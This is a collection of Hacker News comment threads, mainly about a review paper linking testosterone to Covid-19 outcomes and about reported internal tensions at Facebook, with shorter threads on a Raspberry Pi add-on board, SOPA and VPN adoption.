Testosterone, a key hormone in the context of Covid-19 pandemic - <AUTHOR> https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7185012/ <comment><USER2> This isn't a study, it's a summary of reasons why testosterone _might_ be related (positively OR negatively) to Covid19 outcomes in males. The intent seems to be to solicit funding for actual studies.

I really don't see much reason to be linking papers which are this early in the scientific process here. It just creates confusion. HN readers often don't read the links completely or at all, and are prone to overestimate how conclusive papers are. At the time I'm writing this, literally every single comment on this thread is misunderstanding what this paper is.

<comment><USER3> If you think HN commenters are bad, wait until the media gets wind of this, strips all nuance and goes "ALL MEN ARE GOING TO FUCKING DIE OF THE RONA" or a variation thereof.

<comment><USER4> HN is the media then, because a lot of these comments really do "strip all nuance". We seem to have entered an era where we're all a part of the hysteria.

Kerkeslager is right, we should all take time to actually read what this paper is saying. But obviously, most people don't, and that causes issues. Which, I imagine, is why kerkeslager advocated not even informing people until conclusive data exists. But this strategy, of course, runs into the problem that Seneca identified long ago, "A lie can make it around the world before the truth can get its shoes on."

It's just the nature of a social media based world. Not sure there is much we can do about it other than educate. To keep reminding people that they need to be skeptical, and read carefully. Even that seems not to work very well, as most people tend to believe anything that aligns with their world view, and disbelieve anything that doesn't.

It's just a tough problem. But the most dangerous thing we can do intellectually is to assume that we don't have the problem, only everyone else does.

<comment><USER2> > Which, I imagine, is why kerkeslager advocated not even informing people > until conclusive data exists. But this strategy, of course, runs into the > problem that Seneca identified long ago, "A lie can make it around the world > before the truth can get its shoes on."

Well, the problem is that posting this sort of thing for a general audience _isn 't informing people_. It's actually misleading people. I wouldn't call it a "lie" because the intent isn't to deceive, but it's certainly spreading untruth if what you communicate to people is what is being said in this thread.

</comment></comment></comment></comment><comment><USER5> Let me summarize: good health protects from viruses.

<comment><USER6> And specifically, being at a heathy weight. It seems everyone's dancing around the elephant in the room, talking about "low testosterone" or "type II diabetes" as being co-morbidities.

See: [https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3955331/](https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3955331/) for one of many sources for the link between obesity and low testosterone. Obesity just cost our nation several trillion dollars.

People on Hacker News don't like to talk about this, either, because the Computer Programmer community is also affected by obesity.

<comment><USER7> The lockdown might prevent some infections, but this sounds like it also potentially causes more severe outcomes due to less activity at home.

<comment><USER8> You control weight primary by food intake.

<comment><USER9> If you're already overweight you should combine control of calorie intake with exercise. The only way fat leaves the body (besides surgery) is by exhaling it as CO2

<comment><USER2> True, but you're always exhaling CO2, even when you're not exercising. Exercise simply doesn't create a very large increase the amount of calories you burn.

Consider: a person at my height/weight burns _approximately_ 2500 calories/day just by resting metabolic rate. According to this calculator[1], a person of my weight running a mile at an 8 minute pace burns 136 calories. In other words, running a 5k every day would only increase my calories burned by 17%. And running 8 minute miles is one of the more efficient ways to burn calories --if you're doing some other exercise, your calories burned are likely much lower.

Compare the effort involved in running a 5k with drinking two less cans of cola (about equivalent in calories) and you'll quickly see how diet has a much larger effect on weight loss than exercise. There's a reason they say abs are made in the kitchen not in the gym.

[1] [https://www.runnersworld.com/training/a20801301/calories- bur...](https://www.runnersworld.com/training/a20801301/calories-burned- running-calculator/)

<comment><USER10> I ride my bike 20-50 miles for fun. At 50 calories per mile, that definitely adds up.

Folks who exercise for aerobic reasons, you know, 20 minutes of brisk walking around the park, are getting benefits. But not weight-loss benefits. There's a 10:1 difference in possible exercise regimines. It all depends where you're at in that spectrum. Broad generalities are useless.

<comment><USER2> > I ride my bike 20-50 miles for fun. At 50 calories per mile, that definitely > adds up.

You're literally talking about exercising for 1-5 hours depending on pace.

Perhaps broad generalities are useless, but in the context of talking about weight loss, I don't think it's unreasonable to assume that the average person embarking on a weight loss journey is going to jump in and start doing 50 mile bike rides.

It's much more likely that they'll be doing something like a 10 mile bike ride, at a much slower pace, in which case the numbers are back into a range where diet is going to play a much larger role in their success or failure.

<comment><USER10> Sure. But my whole family does this; my boys and their spouses; their cousins and so on. Its not as uncommon as all that. But yes, we are bicycle-obsessed people.

<comment><USER2> And how many of these people are concerned about losing weight?

<comment><USER10> Ha! None of them. All lean and strong.

</comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER11> The real summary of it is just:

"Is _low_ testosterone a promoter of COVID-19 infection?

Is _high_ testosterone a promoter of COVID-19 infection?

The elucidation of the role of testosterone in the battle towards COVID-19 infection turns out to be an urgent need.

"

But the answer can still be _neither-nor_ in spite of the fact that "difference in the number of cases reported by gender increases progressively in favor of male subjects."

</comment><comment><USER12> Attempt at a simple summary:

From what I see, low testosterone is a risk because there is a strong link between lower respiratory muscle activity and lower testosterone levels and high testosterone is a risk because high test -> more androgen receptor expressions -> more binding opportunities for TMPRSS2 and that gene seems to be an active factor in transcription of covid-19.

Its not a magic bullet but the TMPRSS2 angle is quite interesting since we could target drugs that temporarily minimize androgen receptor affectiveness to control the spread ( which might complicate other things in the meantime..)

Tangent, what's the state of drug discovery when it comes to simulating interactions of hormonal treatments with cells?

<comment><USER13> >> we could target drugs that temporarily minimize androgen receptor affectiveness to control the spread

Modifying key hormone functionality across the population, what could possibly go wrong? The impact on other diseases, not to mention behavior, is huge open question.

<comment><USER14> Presumably this would only be done for those found to be at risk based on tested testosterone levels.

Fortunately the linked paper doesn't recommend it, only notes the stats and details and concludes that "The elucidation of the role of testosterone in the battle towards COVID-19 infection turns out to be an urgent need."

Seems pretty even-handed to me.

<comment><USER13> That's the difference between treating patients and reducing spread. Appling a preventative to a small population of at-risk individuals will help them individually but won't decrease spread with the population, won't decrease their exposure. That requires preventing the infection from spreading amongst all people, including those who are at no real risk.

This is one of those special situations where one contemplates a applying treatment to patients A B and C not to protect them from harm but to protect them from spreading something to patients D and E. The ethical difficulty is how one balances the potential increased in risks to ABC against the benifits to DE. What if hormone therapy to ABC reduces their lifespan? What it if causes long term behavioral or repoductive changes? How should that be balanced against D and E's chances of infection/death?

Remember that any widespread COVID therapy will likely be with us as long as the disease. Altering hormone levels across a population, potentially for many years or even decades, is a radical approach. And to think of altering testosterone amongst the reproductive-aged population, potentially modifying sexual development of exposed children too, to safeguard those beyond reproductive age from COVID? That's a very dangrous area.

</comment></comment></comment></comment><comment> gingerbread-man Speaking only for myself, I found this article to be particularly difficult to comprehend. If there are any physicians or molecular biologists who could more plainly summarize the authors' conclusions, I would greatly appreciate it.

From what I can gather: _—_ SARS-CoV-2 uses ACE2 in the alveolar epithelium as an entry receptor. ACE2 may also be involved in regulating cytokine activity and in viral replication. _—_ "Pro-inflammatory cytokines have a central role in the progression of COVID-19 infection." _—_ Anti-cytokine therapy may help reduce pulmonary inflammation in C19 patients. _—_ ACE2 is also present in the leydig (testosterone producing) cells of male rats. _—_ Long-term smokers express higher levels of ACE2 in their lungs. COPD patients are more likely to have low testosterone levels. And low testosterone has been linked to increased Pro-inflammatory cytokine activity. ——> Maybe testosterone reduces inflammation and, by extension, mortality, in COVID-19 patients? (I still do not really understand how the production of ACE2 in the leydig cells is related to this.)

Or, on the high-testostetone side: _—_ Androgen receptors activate the transcription of TMPRSS2, a transmembrane serine protease found primarily in prostate epithelium. _—_ "TMPRSS2 activity is regarded as essential for viral spread and pathogenesis in the infected hosts." ——> Elevated testosterone in some young men may increase TMPRSS2 activation, and be a common cause in the relatively small number of severe cases in that age group.

</comment><comment><USER15> The question is: should men after a certain age supplement with testosterone injections?

</comment><comment><USER16> If it's a key hormone, why Covid19 seems to attack especially men?

<comment><USER17> Because men in 2020 have statistically lower testosterone than men decades before them.

<comment><USER18> Source on that? Or just a quip about a lack of perceived "toughness"?

Edit: Wow looks like it's true, TIL!

<comment><USER19> [https://www.forbes.com/sites/neilhowe/2017/10/02/youre- not-t...](https://www.forbes.com/sites/neilhowe/2017/10/02/youre-not-the-man- your-father-was/) or [https://archive.is/cVyND](https://archive.is/cVyND)

<comment><USER20> That article starts off with interesting science (T dropping 50% in a century, T possibly boosted for a generation by cigarettes, etc) and then takes a weird turn at Tyler Cowen and meanders into speculative woods.

<comment><USER21> Do you have a source for 'cigarettes boost T'? Is it the nicotine or some other chemical in cigarettes?

</comment></comment></comment></comment></comment></comment><comment><USER22> I can see this information playing into some troubling right-wing tropes about masculinity. Basically, if you are an Alpha (High T) you won't get sick, but if you are a weak Beta (Low T) you will. Therefore, if you get sick from Covid and you are a man, you are weak and somehow deserve it.

I hope this does not play out like this and everyone is rational and compassionate, but I doubt it.

<comment><USER23> Alpha vs Beta (as far as that concept is useful) is a question of behavior, attitude, and being able to love yourself; not T levels. Your comment betrays that you have a very shallow understanding of these topics. I encourage you to do some reading on this from first sources to get an understanding of the topic.

<comment><USER24> In the spirit of good faith, I think the comment was explaining the (incorrect) tropes, not supporting these ideas as fact.

<comment><USER22> Exactly</comment></comment></comment></comment>


Show HN: Rainbow HAT for Android Things - <AUTHOR> https://shop.pimoroni.com/products/rainbow-hat-for-android-things <comment><AUTHOR> We've been working with the Android Things team at Google to create a great experience for getting started with Android Things on Raspberry Pi.

The end result is Rainbow HAT - a mixture of sensors, displays, sounds, and inputs all on a single HAT.

If you have any questions feel free to ask!</comment>


An Internet with SOPA would be an Internet without reddit - <AUTHOR> http://www.dailydot.com/politics/reddit-alexis-ohanian-stop-online-piracy-act/

<comment><USER2> Great post! Here's another site spreading the word. <http://tech.li/2011/12/reddit-cofounder-alexis-ohanian-sopa/>

<comment><AUTHOR> Woo! Thanks!</comment></comment>


Why Have VPNs Not Gone Mainstream? - <AUTHOR> https://medium.com/@andreheinemann/whats-the-point-of-net-neutrality-and-why-have-vpns-not-gone-mainstream-83ae4703e61e <comment><USER2> because it can sometimes needlessly add a layer of redirection? also there is an issue of trust... If we can't trust an isp who says we can trust a vpn?</comment>


Internal Tensions at Facebook Are Boiling Over - <AUTHOR> https://www.buzzfeednews.com/article/charliewarzel/facebooks-tensions-zuckerberg-sandberg <comment><USER3> _"It's otherwise rational, sane people who're in Mark's orbit spouting full- blown anti-media rhetoric, saying that the press is ganging up on Facebook,"_

Well, the press probably is ganging up on Facebook. That's what the press does. They are sharks. When they smell blood (a story), they move in. Breaking new stories and scooping the other guys is what they live for.

Welcome to the world outside the bubble.

<comment><USER4> Maybe I'm reading too much into your tone here, but this seems a pretty disingenuous take, and I'm disappointed it's the top comment. You're making it seem like the press is circling Facebook out of some undue desire to turn non stories into breaking news but that's far from the truth. This isn't TMZ following around a philandering star. There is, as you so aptly put, blood in the water here, because when you're a company with the size and reach of Facebook, what you do MATTERS. Facebook counts it's user base in the billions, it holds personally identifying information on even more than that. It arguably has the influence to swing elections and shape public discourse (you can debate how much but at this point it's pretty apparent that it has a measurable effect). It's similar to how politicians are public figures simply by nature of their position. When you hold that much power and influence, your actions, good or bad, are and should be a matter of public record. And it has always been the press' job to hold powerful figures and companies accountable to the public. Facebook has been, especially over the past few years, at best an amoral actor. That has to be news. It has to be. Where ever you fall on the social economic political spectrum, it has to be news worthy when Facebook does something that implies they are trying to manipulate or evade accountability because more so than anyone else that is something we cannot allow the powerful (individual or organization) to do.

<comment><USER5> I'm no Facebook fan, but the chronology seems remarkable here. Facebook were irritating Rupert Murdoch, and traditional media in general, by refusing to pay fees for articles that appeared in people's feeds. About a month before everybody started running hit-pieces on Facebook, the negotiations broke down, with Facebook telling the news guys to go take a hike.

Suddenly, everybody is absolutely horrified by the fact that Facebook is selling people's data. Despite the fact that it's always been their explicit business model.

Facebook is absolutely a horrible idea, but the news are hardly being impartial. It's incumbent publishers trying to knock out a new rival, using their reputation and power to get the newcomer dragged through the mud by politicians. Nobody should be surprised that the most news-sensitive, not the most privacy-sensitive governments were the ones to attack Facebook most directly. The UK, for instance, is perhaps the most invasive surveillance state west of China - and yet, they've been leading the charge against Facebook. Despite the fact that the same government has floated ideas about monetizing government data about its own citizens!

<comment><USER4> I mean that's just revisionist history. Yes everyone knew Facebook was selling your data. That's always been clear, but just since 2016 I can think of numerous legitimate stories:

1\. Russian interference in the election and the fact that FB knew about it and did nothing.

2\. FB running psychological experiments in the newsfeed not only to see if they can make you spend more time there (questionably ok) but also to see if they could affect your mood (definitely not ok).

3\. Facebook censoring news in the newsfeed based on political leanings.

4\. FB tracking you even after you log out.

5\. Zuck lying on capital hill about what he knew and when.

6\. FB hiring a pr firm to right negative articles about an investor.

Also to be clear, even if Murdoch was the catalyst for the media turning a critical eye on FB, which is at best unsubstantiated conjecture, it is undeniable that very valid, very concerning stories have been revealed as result of the media's renewed scrutiny.

<comment><USER5> Well, sure, Facebook are a bunch of tech bros without any real interest in ethics. But I think the point is, they played that way right from the start - and most of those things are just what everybody does. It's not a story when an tech company tracks you when you're not even using their product. It's just ordinary operating procedure. Everything that's been aired about facebook is a bit like that - in real terms, obviously awful, but in the world we live in? It's hardly chopping up a journalist and putting him in a suitcase. It's milquetoast, everybody-in-SV-is-doing-it stuff.

So color me revisionist, but I smell a rat when it makes the headlines.

<comment><USER4> I mean if all of SV is doing what FB has been accused of, that is a story in and of itself. Maybe FB does typify or even exemplify SV tech bro culture but just because companies were once able to play hard and fast with the rules doesn't meant it's behavior that the rest of the world is okay with. Startups are mainstream now. And with all that new attention and money comes scrutiny because you aren't just operating out of someone's garage anymore. Move fast and break things doesn't fly anymore when the things you can break affect millions to billions of lives and dollars.

</comment></comment></comment></comment></comment></comment><comment><USER6> Ex-Facebooker perspective: the only news in this article is that the preferred replacement for the Secret app [0] at Facebook is the Blind app.

A few of the 33,606 people [1] working at Facebook anonymously complaining about their employer and management in the midst of a bad press cycle is remarkably unsurprising.

[0] [https://en.wikipedia.org/wiki/Secret_(app)](https://en.wikipedia.org/wiki/Secret_\(app\)) [1] [https://newsroom.fb.com/company-info/](https://newsroom.fb.com/company- info/)

</comment><comment><USER7> Do employees at facebook really feel the heat? I'm just picturing management trying to find solutions (or to wait it out) while most other employees must be mostly going on with their work.

In the end, most of the critics seem to miss the point that Facebook grew really fast, and just wasn't ready to police the world. A lot of it focuses on the negative aspects of Facebook conquering the world, but what about the positive aspects? Is there another app that, indeed, connects the world?

It might not be clear to people here, who are not heavy users of Facebook and reside mostly in the US. But for me, I have hundreds of friends scattered around the world and Facebook has been the only way to keep in touch with them.I've met so many people through Erasmus groups and Communities on Facebook as well. No, the alternatives are not everywhere in the world.

<comment><USER8> _most of the critics seem to miss the point that Facebook grew really fast_

Growth rate is not an excuse for the evils that have been enabled by Facebook. It is perfectly within Facebook's power to slow its growth to a rate it can actually manage.

And don't play the "shareholder" card. Zuck is the majority shareholder, and can do whatever he wants with the company, including making it not be evil.

 _Is there another app that, indeed, connects the world?_

E-mail. The PSTN. Text messages. Actual mail.

WhatsApp, YouTube, and probably several hundred others that I don't know about because I'm not much of an SMS person.

<comment><USER9> I quit facebook in 2010, so don't take me for any sort of fanboy, but what 'evils' were 'enabled', specifically?

It looks like most of the election stuff was normal humans reposting things of their own volition. Yeah, there were lots of lies in it, some of it was actual fake newspapers being run out of Macedonia or whatever, but are we making facebook a scapegoat just for being the medium? Before 2016, I never heard anyone saying FB had an obligation to fact-check political speech..

Maybe we, as a society, need to figure out how to handle social media rather than expecting a guy like Zuck to do it for us.

<comment><USER10> Just a little light genocide: [https://www.nytimes.com/2018/10/15/technology/myanmar- facebo...](https://www.nytimes.com/2018/10/15/technology/myanmar-facebook- genocide.html)

<comment><USER9> I didn't know about that, thanks for the link.

Here's my beef, though: People still did that. Facebook isn't your daddy, and Zuckerberg will never be a different person.

Facebook isn't the problem. We are.

<comment><USER11> If you know how to manipulate 1% of the population — never knowing who, in advance, just that it's on average 1% — and you sell that power to the highest bidder, I'd totally argue you're responsible for whatever the winner does with that power.

Especially if you go to great lengths to keep the bidders anonymous, or even merely allow them to make themselves unknown to you because "we can't scale that".

<comment><USER12> > and you sell that power to the highest bidder

You make it sound like FB _knew_ that the accounts that "...posed as fans of pop stars and national heroes" were run by a military operation.

> because "we can't scale that"

And how would _you_ scale that?

I don't think there is any easy solution (or even an "ideal" solution).

Not to mention that FB is on now dealing with actual dam military operations by an authoritarian government. How would you defend yourself against that?

<comment><USER11> > And how would you scale that?

If I was Facebook, ot if I was a government?

If Facebook: First idea, probably naive, is to require large minimum spending per advertiser so that all can be checked manually.

If government: I'd pass a law requiring all advertisers be checked to some standard, which is what I care about, _and let Facebook invent its own solution_.

I want to be clear: I don't care if that bankrupts them, any more than I care about bankrupting surgeons who can't afford soap.

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER13> The sources here appear to be leaks from a group that is the internal equivalent of 4chan and former employees who have an axe to grind. The portrait painted from them does not match the reality I experience day to day in any meaningful way.

<comment><USER14> The reality is that the tech industry, specifically the ad-tech industry, has had its Lehman moment and now the bloom is off the rose. Facebook and Google are increasingly going to be regulated and subject to more scrutiny going forward. That's just the reality of it.

You're not going through anything unique. There were plenty of bankers that felt that politicians, the press and the public were being unfair to them.

<comment><USER15> > There were plenty of bankers that felt that politicians, the press and the > public were being unfair to them.

Weren't they? One rule that pretty much seems to be a law of the universe is that popular sentiment will be completely wrong on almost every particular point even when its conclusions are completely right.

</comment></comment></comment><comment><USER16> > People are "hoping for a Sundar or Dara moment," one former senior Facebook > employee told BuzzFeed News, referring to past leadership changes at Google > and Uber in which founding employees stepped aside from top jobs. A second > senior employee echoed the view, suggesting that some inside the ranks are > looking for a shakeup to come from the outside.

Ballmer to Nadella would be another example.

For me, this hints at an interesting shift in tech culture, away from the unquestioned mythography of the original founder. Typically the departure of the founder has been seen as the biggest challenge for evolving startups, and the return of the founder as a moment of salvation. Think of Apple, or Twitter.

Now, there are examples of where the departure of the founder acted as a release valve for public pressure, and a chance for the company to reset and evolve.

Or maybe it's more like an addition to the culture--a new set of stories that illustrate a different path for startups toward long-term success.

This might also reflect a shift in how the public views tech companies. They're not just fun, harmless get-rich-quick stories anymore. The consequences of their success (intended or not) weigh more on people's minds.

<comment><USER17> I don't view Sundar as somebody who has any power over Larry.

When Eric Schmidt was the CEO, he had his own opinions, but whenever Sundar was asked any question on TGIF, he was just looking at Larry to see if what he's saying is what Larry wants to hear.

Sergey doesn't really care about politics, he just wants to do cool stuff.

<comment><USER18> Also the fact that Larry is the CEO of Alphabet. Sundar is the CEO of Google. Therefore, Larry is still the real CEO.

</comment></comment></comment><comment><USER8> This is my favorite part:

 _Another former senior employee noted a growing sense of paranoia among current employees. "Now, people now have burner phones to talk shit about the company — not even to reporters, just to other employees," they told BuzzFeed News._

Facebook employees so afraid of Facebook spying on them, that they need burners. Presumably, not loaded with any Facebook apps.

<comment> compiler-guy More likely just phones without access to facebook's internal corporate network, which grants many more privileges to the app and the company than everyday facebook access gets. They likely also dodge accounts connected to the one their employer recognizes.

Calling these "burner phones" is a little silly. They are just completely private, non-corporate phones.

I've never trusted any company to either pay for my own phone or plan, if that requires allowing it special access.

<comment><USER19> _Calling these "burner phones" is a little silly. They are just completely private, non-corporate phones._

So a phone used to duck surveillance from a powerful entity to conduct discussions about things you don't want that entity knowing about, colloquially goes by what other name then?

I get it if the implicit association between a "real" burner phone and these devices might not be a complete and perfect parallel but I think here the term is apt (unless we're legitimately just talking about someone's every day personal phone, but that wasn't the impression I got-the article doesn't really talk more about what these devices are)

<comment> compiler-guy They don't duck surveillance from facebook as you and I know it, but from facebook as an employer, which is very different.

If a company provides your phone, then it has access to it, and if you don't want your company to have access to what you do on it, you use a different phone. If you want the convenience of a personal phone that you can check your work mail (or work facebook groups) on, then you grant access to that company.

It isn't any different from when a law firm or bank provides its employees phones. If you don't want that firm or bank to read what you write on it, then you need another phone.

A "burner phone" gets thrown away--"burned"\--to prevent the someone from tracking you. You don't allow anyone to know you use it.

No one at facebook cares if you use a second phone. So some better terms would be "personal phone" or "non-corporate phone".

<comment><USER19> _If a company provides your phone, then it has access to it, and if you don 't want your company to have access to what you do on it, you use a different phone. If you want the convenience of a personal phone that you can check your work mail (or work facebook groups) on, then you grant access to that company._

Right, and as I said in another comment, my statement here isn't to suggest I don't know what a burner phone is. My statement above is because I'd think someone would either say "We use our personal phones" or something similar to describe how they talk about FB without FB knowing it.

Describing your personal phone as a "burner phone" seems odd and possibly telling that there's something else there.

There very well might NOT be, but as I mentioned before: the article doesn't really say much further so it's hard to know.

<comment><USER20> > Describing your personal phone as a "burner phone" seems odd and possibly > telling that there's something else there.

Doesn't seem odd to me, in the context of a) a former employee sensationalizing the situation and/or b) hiding behavior from _any_ employer.

<comment><USER21> Next you will tell us that Trump really had his "wires tapped"...

</comment></comment></comment></comment></comment></comment></comment><comment><USER22> The quotes from Blind are laughable and completely destroy any hints of journalistic integrity in this article. It reeks of desperation for any type of quote that supports their narrative.

I'm a heavy user of Blind since its inception and it is nothing but a cesspool of anger and bitterness. It's fun if you want to blow off some steam and engage in mass trolling, almost like 4chan with its memes, but if you believe for one second that any sort of honest discussion can occur on that platform, you are delusional. It's literally the worst of the worst, and only people who enjoy trolling will engage on that platform.

<comment><USER23> Aside from the trolling, there's real conversation happening about culture and compensation that doesn't happen anywhere else online. Be the change that you want to see.

</comment></comment><comment><USER24> I will not name him, but I had a friend who worked at Facebook. At one point, he talked shit about the company to another employee in a facebook chat. His HR representative quoted said chat at him in a meeting.

Facebook will claim that this is ethical because your Facebook account is linked to the work systems and therefore your chats are company property. I will pass judgement - even if it had been talking shit on a purely internal chat application, such as a corporate slack, it would not be okay for HR to bring up talking shit - They would need to have had a dang good reason (A complaint from the other party of the chat that you had made threats, reason to believe you were discussing illegal activity or actively causing the company harm). What Facebook did was absolutely immoral, and it is clear that it is standard company policy.

<comment><USER25> When I worked there 4+ years ago, all employee:employee facebook messenger conversations (on production www.facebook.com) came with a little red circle, with alt text saying "employee to employee conversations are recorded".

So I wouldn't have been surprised by this in the least.

<comment><USER18> But isn't it creepy that they were _proactively_ monitoring them and reading for negative comments? Then _reprimanding_ the participants for feelings they expressed privately to another individual? That's behavior one might expect from North Korea.

</comment></comment></comment><comment><USER26> It doesn't take much for a "darling" social media or dotcom company to become a thing of the past. If my memory serves me correctly, before Google, there was AltaVista [https://en.wikipedia.org/wiki/AltaVista](https://en.wikipedia.org/wiki/AltaVista) . Before Facebook, there was MySpace [https://en.wikipedia.org/wiki/Myspace](https://en.wikipedia.org/wiki/Myspace) . Yahoo is on it's way out especially after the data breach [https://money.cnn.com/2017/10/03/technology/business/yahoo-b...](https://money.cnn.com/2017/10/03/technology/business/yahoo- breach-3-billion-accounts/index.html) Facebook is NOT the only social media company around and some other company WILL emerge and fill its place in the ecosystem if they don't recover from their mistakes.

<comment><USER27> they were all replaced by better alternatives, not by bad press.

</comment></comment><comment><USER28> > _People at Facebook are focused on building products that help people > connect and have a positive impact in the world._

I don't remember seeing that last part before! Does this mean that they don't want to connect people who (they believe) will have a negative impact on the world?

<comment><USER29> I think "have a positive impact' is referring to the products, not the people.

Facebook has/had a near-religious devotion to the idea that connecting a globe of strangers is inherently good. I strongly disagree.

<comment><USER30> Boz's 'the ugly' that got leaked is probably the best well known documentation of this cult. My whole time there it creeped me out.

</comment></comment></comment><comment><USER31> > "Again [it's] the female card that has caused so much damage in such a short > time, not just at Facebook," another poster wrote.

I don't think I've ever read such a deeply toxic comment in my life. On the surface polite, but underneath such a corrupt worldview. Good on Sheryl for just surviving in an environment with people like that.

<comment><USER32> I don't think it's toxic, it's an accurate observation. As soon as you let gender politics into the building, you've started an unwinnable war between the sexes that will ultimately rip your company apart. It's very telling that the people commenting on this have to do it with Blind as they're obviously afraid of voicing their opinion in public. That type of fear is only going to fester and grow.

Same with the comment from the black ex-employee about how there are more Black Lives Matter posters than actual black employees (which I don't doubt for a second). There is no way to play these progressive games at work that won't come back and shoot you in the foot from the left, right and center. Keep politics out of the workplace.

<comment> shaki-dora Also: the comment about posters was intended to criticize the lack of black employees, not the abundance of posters.

...which makes your take, i. e. That removing the posters would solve the problem sort of funny, in a very depressing way.

<comment><USER32> Removing the posters solves the problem of injecting politics into the workplace. If there's _also_ a racism problem, that would need to be dealt with on a case by case basis. I took the original post by the black ex-FB employee to mean he saw the posters as meaningless virtue signaling that had no effect on what he saw as a racism problem at Facebook.

</comment></comment></comment></comment><comment><USER33> The FB stock value today is roughly where it was almost two years ago. While the stock value of some other tech companies (Twitter, Netflix, Amazon) doubled in the same time period. The performance evaluation period in two months will be interesting this year I'm sure. I guess they will award lots of RSU refreshers to keep strong performers around.

</comment><comment><USER34> A lot of criticism from anonymous sources.

Even if they had names, would it even be worth mentioning what a bunch of hysterical 20-something year old developers are complaining about?

Yes, it's inconvenient for them that they bet on the wrong horse. But if they don't like the direction their company is taking, they can quit and find another job.

<comment><USER35> > A lot of criticism from anonymous sources. ... if they don't like the > direction their company is taking, they can quit and find another job.

I don't understand what you mean. The sources that agree with your position are also anonymous - the article depicted three sides to the debate, and all are represented by anonymous sources:

 _Internally, the conflict seems to have divided Facebook into three camps: those loyal to Zuckerberg and chief operating officer Sheryl Sandberg; those who see the current scandals as proof of a larger corporate meltdown; and a group who see the entire narrative — including the portrayal of the company's hiring of communications consulting firm Definers Public Affairs — as examples of biased media attacks._

</comment></comment><comment><USER36> Mark Zuckerberg wanted a tool to help him get laid, and he built a tool that has the power to undermine democracy. He and everyone else in FB management seems to think their little toy is still just a chuckleworthy way to meet cute chicks and get rich. Serious adult scrutiny is exactly what FB needs right now, before they screw around and blow up the world.

<comment><USER37> > Mark Zuckerberg wanted a tool to help him get laid, and he built a tool that > has the power to undermine democracy.

This reminds me of the paperclip maximiser AGI - an agent tasked with, say, maximising the production of paperclips would hypothetically destroy humanity just to reach its goal.

Maybe Zuck is just like paperclip-AGI?

</comment></comment><comment><USER38> If you're a talented engineer, there are a lot better places than Facebook in which to spend your time. Get the monkey off your back.

</comment><comment><USER39> The time is coming when Facebook will be a stain on a resume. If you work there now, you need to be working on your exit strategy.

</comment><comment><USER40> > a group who see the entire narrative — including the portrayal of the > company's hiring of communications consulting firm Definers Public Affairs — > as examples of biased media attacks

Of course they are biased media attacks. The tech industry in general, and Facebook in particular, is an existential threat to the legacy news media and will be viciously attacked for that reason alone. That's why Facebook, which made a little bit of money selling targeted ads to Russian trolls, is being blamed by the mainstream media for an election result that had more to do with those same media outlets doing 24/7 coverage of Donald Trump's antics for the entire 2016 election cycle.

I don't work for Facebook and I don't even particularly _like_ Facebook, but it's hard not to see a Two Minutes Hate for what it is.

</comment><comment><USER41> Facebook does need to police its platforms. Fake news and the mob mentality will destroy not only Facebook but also the world. And that is a very tall order. Oddly enough this may not actually be possible. I think they could put in some global filters to reduce virality/contagion as well as automated bot/troll detection.

<comment><USER42> I think that anyone who thinks that this is fixable doesn't understand how bad or difficult the misinformation problem is. For example, remember that time no less a person than the White House Press Secretary tweeted a video which had been doctored by selectively speeding parts up to make it look more violent? There was a really viral, popular video on Twitter which vividly demonstrated this by overlaying that version on the original and got 10.4 million views.

The proof video was doctored, and not subtly either - the original video is 6 or 7 frames behind the overlaid video from the very start and remains that way the whole way through. When watching it at normal speed the faintness of the overlay made this almost invisible except during fast motion, giving the illusion that the overlaid video was sped up during those parts, but if you look at it in freeze-frame mode the very first frame gives the game away. _No- one noticed_. Every right-thinking, smart, social media savvy person now thinks that they caught an evil attempt to deceive the world with faked video, when in reality they'd been conned by some really simple video trickery - <USER2> nothing will ever change this.

(This is also why the expert AP got to look at it frame by frame couldn't point to any part of the video that had been sped up. There wasn't any since he got the initial frame alignment right. I've compared the two for myself.)

Oh, and even the White House Press Secretary seems to have now been convinced that the video was sped up despite the fact that it wasn't.

</comment></comment><comment><USER43> This article is really funny. Reading things like employees comparing Zuck to Hitler was over the top but still funny. While the media circus in the US revolves around US elections, let us not forget about Facebook's role in the UN documented genocide in Myanmar or in the election of Rodrigo Duterte who ran death squads as Mayor and is killing people left and right.

[https://www.engadget.com/2018/08/27/facebook-bans- military-m...](https://www.engadget.com/2018/08/27/facebook-bans-military- myanmar-un-report/)

The comment on Sheryl Sandberg as an icon of the left is also funny because she's still a capitalist that leads an authoritarian organization. A real leftist would fight for democracy but that's the level of discourse we have in this country.

</comment><comment><USER44> In the end, Facebook's success will be its biggest headwind. They had been on a tear for years since inception. That type of success makes it harder for people to switch gears when problems arise. It is fundamentally unclear how Facebook will navigate these turbid waters.

</comment><comment><USER45> I find it quite (weird/funny/amusing) that BuzzFeed has been writing non-stop articles about Facebook.

BuzzFeed was built on Facebook, and I'm not sure how far they would have got without them. But the year is nearly 2019 and Buzzfeed no longer relies on Facebook for users.

<comment><USER46> I used to rely on reddit for traffic.

Now I don't.

Times change. Reddit quality has gone down too.

<comment><USER47> The biggest change i see in reddit is its not ron paul obsessed any more. In what ways has the quality decreased?

<comment><USER48> Identity politics ruined it. Even thematical subs.

</comment></comment></comment></comment><comment><USER49> I thought that that kind of toxic culture just surrounded the political parties but by the looks of it is a basic part of the American (business) culture. If a big company like that has employees like that (i.e. without conscience) we're in for a ride.

<comment><USER50> from a non US perspective, lets say "cruel bussiness culture" is usually associated with american companies. The main thing that seems to foster suchs an enviroment is the lack of worker represenation in US companies.

concepts like works councils[1] seem totally foreign to many US companies.

[1] [https://en.wikipedia.org/wiki/Works_council](https://en.wikipedia.org/wiki/Works_council)

</comment></comment><comment><USER51> _"...the only survival strategy is to quit or fully buy in."_

I hope anyone worth their salt quits. As a hiring manager, it would be hard to overlook "fully buy[ing] in" to FB after how apparent it's become that they're fundamentally evil.

<comment><USER52> I think it's already happening. I've received a few emails from recruiters about jobs at Facebook in the past few weeks and before this hadn't received any. Same with my wife. It's obviously anecdotal, but we were both surprised to get emails from recruiters for the same company a few weeks apart. My first thought was that they must be having more trouble hiring people.

</comment></comment><comment><USER53> "Now, people now have burner phones to talk shit about the company — not even to reporters, just to other employees,"

I find it unsettling that FB employees feel they need to use burner phones to criticize the company.

